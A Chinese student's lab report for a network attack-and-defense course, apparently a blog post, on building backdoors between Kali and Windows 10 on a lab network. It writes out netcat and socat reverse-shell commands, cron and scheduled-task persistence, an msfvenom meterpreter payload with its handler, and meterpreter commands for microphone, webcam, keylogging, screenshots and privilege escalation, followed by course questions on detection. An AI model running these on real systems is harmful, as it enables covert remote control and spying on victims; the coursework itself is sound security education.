代码改变世界

2019-2020-2 网络对抗技术 20175232 司浩楠 Exp2 后门原理与实践

2020-03-21 18:16  20175232司浩楠  阅读(221)  评论(0编辑  收藏  举报

#一、学习任务 :

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

##学习内容 使用nc实现win,mac,Linux间的后门连接 meterpreter的应用 MSF POST 模块的应用

##实验环境 Kali Windows10

###相关知识:

  • 概念 :后门是不经过正常认证流程而访问系统的通道。

  • 后门在哪?

  • 编译器、操作系统、应用程序。

常用后门工具

###NC 或 netcat

实验前准备:

  • 在Windows下使用ipconfig查看本机IP
  • 在kali中使用ifconfig查看IP
  • 并保证两台主机能够相互ping通

Windows获得Linux Shell

  • 使用ncat.exe程序打开监听ncat.exe -l -p 5232
  • 在kali中反弹连接Windows,ncat 192.168.2.124 5232 -e /bin/sh,使用-e选项执行shell程序

Linux获得Windows Shell

  • 打开监听
    nc -l -p 5232
  • 在Windows中反弹连接kali,'ncat.exe -e cmd.exe 192.168.2.224 5232'
  • 如果在获取时输出Ctrl+C两端会同时退出,应该是因为被控制端的nc被中止,导致链接中断,控制端的nc自动突出(是套娃的胜利)

通过使用netcat获取主机操作Shell,cron启动

    • crontab -e指令增加一条定时任务,-e表示编辑。第一次编辑时提示选择编辑器,这里选择的是3
    • 最后一行添加20 * * * * /bin/netcat 192.168.2.124 5232 -e /bin/sh,意思是在每个小时的第20分钟反向连接Windows主机的5232端口。

使用socat获取主机操作Shell, 任务计划启动

    • 在Windows 10中右键此电脑,找到管理并打开,找到任务计划程序并打开,点击创建任务
    • 在触发器一栏中点击新建
    • 然后将开始任务设置为按照预定计划
    • 点击常规,输入名称
    • 再点击操作选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5201 exec:cmd.exe,pty,stderr 点击确定保存设置
    • 等到20分时,就会自动通过socat向kali发送反弹链接。

使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.224 LPORT=5232 -f exe > 20175232_backdoor.exe,这里的IP地址为控制端IP,即KaliIP
  • 在Windows下执行使用ncat.exe -lv 5232 > 20175232_backdoor.exe指令,通过-lv选项看到当前的连接状态,在kali中执行nc 192.168.3.26 5232 < 20175232_backdoor.exe(‘>’XXXXX(文件名)表示将接收到的数据存入该文件名的文件中,‘<’同理,表示发送该文件名中的数据)

 

  • 在kali上使用msfconsole指令进入msf控制台

 

    • 输入use exploit/multi/handler使用监听模块,设置payload
    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
    • set LHOST 192.168.2.224,设置接受ip,这里用的是KaliIP,和生成后门程序时指定的IP相同
    • set LPORT 5232,设置接受端口,要使用和生成时相同的端口
  • 设置完成之后,执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频
    • 使用webcam_snap指令可以使用摄像头进行拍照
  • 使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录。
  • 使用screenshot指令可以进行截屏
  • 使用getuid指令查看当前用户,使用getsystem指令进行提权操作

回答老师提问:

1、例举你能想到的一个后门进入到你系统中的可能方式?

下载软件时下载到被添加后门程序的软件包等。

2、例举你知道的后门如何启动起来(win及linux)的方式?

        windows可以设置开机自启动项,也可以替换文件引用。

3、Meterpreter有哪些给你映像深刻的功能?

  可以直接在后台进行提权,使得不光能够被动窃取,还能主动进行一些攻击。

4、如何发现自己有系统有没有被安装后门?

  检查开机自启动项,检查文件引用,检查端口开放情况。

实验感想 

  • 本次实验难度不大,但使我们对于后门的认识更加深刻,后门的危害非常大,只要进入了计算机,可以绕过权限判定,做一些使用者都无法使用的功能和数据,这无疑是非常危险的。